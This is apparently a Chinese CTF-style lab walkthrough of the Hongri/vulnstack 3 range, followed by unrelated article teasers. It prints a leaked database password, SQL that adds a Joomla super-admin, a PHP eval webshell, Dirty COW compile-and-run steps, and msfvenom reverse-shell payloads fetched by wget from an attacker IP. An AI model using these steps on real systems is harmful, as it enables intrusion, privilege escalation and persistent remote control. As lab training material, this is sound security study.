红日靶场3
靶场链接:漏洞详情
在虚拟机的网络编辑器中添加两个仅主机网卡
信息搜集
端口扫描
外网机处于网端192.168.1.0/24中,扫描外网IP端口,开放了80 22 3306端口
80端口http服务,可以尝试登录网页
3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等

首先发现80端口网站是个joomla,探测了一下版本,发现是3.9.2版本较高

目录扫描

msf获取joomla cms版本信息

访问/administrator/index.php,发现不是弱密码,爆破也登录不了

在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露
/configuration.php
找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息

漏洞利用
利用敏感信息泄露,得到mysql的用户名密码:testuser/cvcvgjASD!@,可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录

拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的

想到可以自己插加密的密码去修改密码,找joomla的修改密码方法,直接加一条数据,根据joomla的官方文档成功的添加一个用户admin2/serect。
帮助文档
#更改用户名和密码:
"方法1:configuration.php文件"
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
public $root_user='myname';
在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
6.当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。#编辑数据库加入超极管理
"方法1:直接编辑数据库"
如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
更改数据库中的密码
如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
2.找到并单击“添加表_users”在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。
3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
4.查找要更改其密码的用户并按该行的编辑图标。
5.将显示允许您编辑密码字段的窗体。复制的意义
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。
7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
"方法2:添加新超级管理员使用"
如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
使用下面的SQL查询添加另一个管理员帐户。
Stop hand nuvola.svg.png确保您的数据库表前缀匹配!
下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”(你的安装设置前缀)发现,在下面的代码前缀安装使用。Joomla使用SQL代码 Joomla 2.5 Joomla 3.x Joomla 4.x
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
Stop hand nuvola.svg.pngWarning!
警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。上面的例子更改密码为“select”。其他两个可能的值如下所示:
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

传php木马

点击Bee3 Details and Files

在index.php 文件中 写入一句话木马 <?php eval($_POST['123']); ?>,点击Save

根据扫描的内容,猜测路径是/templates/protostar/index.php



绕dis_func
蚁剑的虚拟终端执行不了命令

通过蚁剑在templates/beez3目录下写一个phpinfo文件

访问/templates/beez3/phpinfo.php

发现 命令执行被禁用
推荐蚁剑插件:
检测永恒之蓝: https://github.com/AntSword-Store/AS_MS17-010_Scan
disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions
木马扫描: https://github.com/AntSword-Store/as_trojan_scans
出网探测: https://github.com/AntSword-Store/AS_Out-of-Network


成功绕过并且看见有93的段

在/tmp/mysql看到了账号密码

脏牛提权
使用xftp上传exp,上传到临时文件夹/tmp下

对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456

su firefart,输入密码123456

提权成功
上线msf
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f elf>r.elf
wget http://192.168.1.102/r.elf
chmod +x r.elf
./r.elf

反弹shell给msf
msf生成Linux的shell,用于后期代理横向
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=9999 -f elf > shell.elf
添加路由
run get_local_subnets
run autoroute -s 192.168.93.0/255.255.255.0


端口转发
路由转发MSF入段
msf路由转发,让msf进入内网93段sock5代理,让kali进入内网93段msf路由转发> route print> route add 192.168.93.0 255.255.255.0 1> route print

参考文章:
Vlunstack ATT&CK实战系列——红队实战(三)Writeup - 先知社区
红日安全红队靶场(三)一次简单的内网渗透_红日3靶场-CSDN博客
VulnStack-ATT&CK-3(红日靶场三)_红日靶场3-CSDN博客
https://www.cnblogs.com/hellobao/articles/17247184.html
红日靶场第三关_红日靶场3攻略-CSDN博客
红日靶场3-vulnstack3 | apsry
ATT&CK红队评估(红日靶场三) - FreeBuf网络安全行业门户
相关文章:
红日靶场3
靶场链接:漏洞详情 在虚拟机的网络编辑器中添加两个仅主机网卡 信息搜集 端口扫描 外网机处于网端192.168.1.0/24中,扫描外网IP端口,开放了80 22 3306端口 80端口http服务,可以尝试登录网页 3306端口mysql服务,可…...
B树的介绍
R-B Tree 简介特性B树特性m阶B树的性质(这些性质是B树规定的) B树的搜索B树的添加B树的删除——非叶子结点 简介 R-B Tree又称为Red-Black Tree,红黑树。是一种特殊的二叉查找树,红黑树的每个节点上都有存储为表示结点的颜色&…...
《The Art of InnoDB》第二部分|第4章:深入结构-磁盘结构-撕裂的页面(doublewrite buffer)
4.5 撕裂的页面 目录 4.5 撕裂的页面 4.5.1 双写缓冲区的作用 4.5.2 双写缓冲区的结构 4.5.3 双写缓冲区与Redolog的协同工作流程 4.5.2 双写缓冲区写入时机 4.5.3 禁用双写缓冲区 4.5.4 小结 未完待续... 上文我们学习了redo log的结构和其工作原理,它是一个…...
提示工程(Prompt Engineering)、微调(Fine-tuning) 和 嵌入(Embedding)
主要参考资料: 还没搞懂嵌入(Embedding)、微调(Fine-tuning)和提示工程(Prompt Engineering)?: https://blog.csdn.net/DynmicResource/article/details/133638079 B站Up主Nenly同学…...
【Flink精讲】Flink 内存管理
面临的问题 目前, 大数据计算引擎主要用 Java 或是基于 JVM 的编程语言实现的,例如 Apache Hadoop、 Apache Spark、 Apache Drill、 Apache Flink 等。 Java 语言的好处在于程序员不需要太关注底层内存资源的管理,但同样会面临一个问题&…...
正则化概念及使用
正则化概念及使用 正则化概念正则化原理常用的两种正则化方法1. L1 正则化(Lasso)2. L2 正则化(Ridge) 正则化参数 正则化概念 在机器学习中,我们致力于通过从训练数据中学习模式或规律来构建模型。为了找到最佳的模型…...
让程序员设计B端界面,好比武大郎招聘:向我看齐。不忍直视!
hello,我是大美B端工场,B端系统的要求越来越高了,很多公司还让程序员负责页面,页面搞的没法看,也怪不得程序员。程序员来搞页面,那还不是武大郎招聘——向我看齐,以我的标准为标准吗?…...
使用python构建Android,探索跨平台应用开发Kivy框架
使用python构建Android,探索跨平台应用开发Kivy框架 1. 介绍Kivy框架 Kivy是什么? Kivy是一个开源的Python跨平台应用程序开发框架,旨在帮助开发者快速构建创新的、可扩展的移动应用和多点触控应用。Kivy采用MIT许可证,允许开发…...
08 Redis之集群的搭建和复制原理+哨兵机制+CAP定理+Raft算法
5 Redis 集群 2.8版本之前, Redis采用主从集群模式. 实现了数据备份和读写分离 2.8版本之后, Redis采用Sentinel哨兵集群模式 , 实现了集群的高可用 5.1 主从集群搭建 首先, 基本所有系统 , “读” 的压力都大于 “写” 的压力 Redis 的主从集群是一个“一主多从”的读写分…...
*MYSQL--索引--内部原理
MYSQL的索引根据功能,主要有三大类型: 1.HASH索引 2.二叉树 3.BTREE索引 一:HASH索引 1.内部原理: 在设置了某列为索引列之后,并且开始或者将要在相应索引列创建数据的时候,系统通过某种算法 F(X) 自动计算出来一个十六进制的哈希值,这个哈希值能够对应相应的字段值 所以…...
docker安装kafka和kafka-console-ui
3、安装kafka https://blog.csdn.net/m0_64210833/article/details/134199061 kafka依赖Zookeeper,当然也可以用内置的kraft。 安装前提条件 1.安装Zookeeper 1.1运行ZooKeeper容器 2.运行Kafka容器 2.1启动Kafka容器 3.验证 3.1进入Kafka容器 3.2查看容器状态 3.3查…...
Linux:gitlab创建组,创建用户,创建项目
创建组和项目 让后可以在组里创建一个个仓库 创建成员 我创建个成员再把他分配进这个组里 进入管理员 密码等会我们创建完用户再去配置密码 Regular是普通的用户,只可以正常去访问指定规则的项目 而下面的administrator就是管理员,可以随便进项目&…...
相机选型介绍
摄影测量中,相机是非常重要的角色,合适的相机产出合适的图像,得到合适的重建精度,这是相机的重要性。 您也许第一反应是,摄影测量所需的理想相机,是有着超高分辨率的相机,但事实可能并非如此&a…...
SQL创建数据库
SQL,全称结构化查询语言(Structured Query Language),是一种用于管理关系型数据库的标准语言。通过 SQL,我们可以创建、查询、更新和删除数据库中的数据。今天,我们将学习使用SQL创建数据库。本文的目标是让读者了解如何使用SQL创…...
读书笔记-增强型分析:AI驱动的数据分析、业务决策与案例实践
目录 前言 运用人工智能技术,可以使人类社会变得更美好。人们总是期待产品更适合、服务更贴心、生活更便利。在实践中,技术给企业赋能,企业通过优质的产品和服务满足社会,提升人类福祉。很多金融企业已经开始尝试向潜在客户推送…...
NXP实战笔记(十):S32K3xx基于RTD-SDK在S32DS上配置CAN通信
目录 1、概述 2、SDK配置 2.1、配置目标 2.2、CAN配置 3、代码实现 4、测试结果 1、概述 S32K3xx的FlexCan与之前的S32K1xx很相似,Can的中断掩码寄存器(IMASK3)与中断标志位寄存器(IFLAG3)依赖于邮箱数。 FlexCan配置实例如下 FlexCan的整体图示如下 Protocol Engine…...
纳斯达克大屏-投放需要知道的几个条件-大舍传媒
引言 随着移动互联网的快速发展,数字广告媒体广告越来越受到企业的关注。纳斯达克大屏作为全球最大的数字媒体广告投放平台之一,拥有广泛的受众和优质的媒体资源,吸引了众多企业的眼球。要想在纳斯达克大屏上投放广告,企业需要了…...
python-可视化篇-简单-条形图输出主要省份GDP排名情况
条形图输出主要省份GDP排名情况 代码 gdp广东:97277.77:107671.07 江苏:92595.40:99631.52 山东:76469.70:71067.5 浙江:56197.00:62353 河南:48055.90:54259.2 四川:40678.10:46615.82 湖北:39366.60:45828.31 湖南:36425.78:39752.12 河北:36010.30:35104.5 福建:35804.04:…...
Sora - 探索AI视频模型的无限可能-官方报告解读与思考
一、引言 最近SORA火爆刷屏,我也忍不住找来官方报告分析了一下,本文将深入探讨OpenAI最新发布的Sora模型。Sora模型不仅仅是一个视频生成器,它代表了一种全新的数据驱动物理引擎,能够在虚拟世界中模拟现实世界的复杂现象。本文将重…...
算法提升——LeetCode第385场周赛总结
题目 统计前后缀下标对 I 给你一个下标从0开始的字符串数组words。 定义一个布尔函数isPrefixAndSuffix,它接受两个字符串参数str1和str2: 当str1同时是str2的前缀(prefix)和后缀(suffix)时,…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...
MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...
关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
十九、【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建
【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建 前言准备工作第一部分:回顾 Django 内置的 `User` 模型第二部分:设计并创建 `Role` 和 `UserProfile` 模型第三部分:创建 Serializers第四部分:创建 ViewSets第五部分:注册 API 路由第六部分:后端初步测…...
Linux中《基础IO》详细介绍
目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改,实现简单cat命令 输出信息到显示器,你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...
jdbc查询mysql数据库时,出现id顺序错误的情况
我在repository中的查询语句如下所示,即传入一个List<intager>的数据,返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致,会导致返回的id是从小到大排列的,但我不希望这样。 Query("SELECT NEW com…...
02.运算符
目录 什么是运算符 算术运算符 1.基本四则运算符 2.增量运算符 3.自增/自减运算符 关系运算符 逻辑运算符 &&:逻辑与 ||:逻辑或 !:逻辑非 短路求值 位运算符 按位与&: 按位或 | 按位取反~ …...


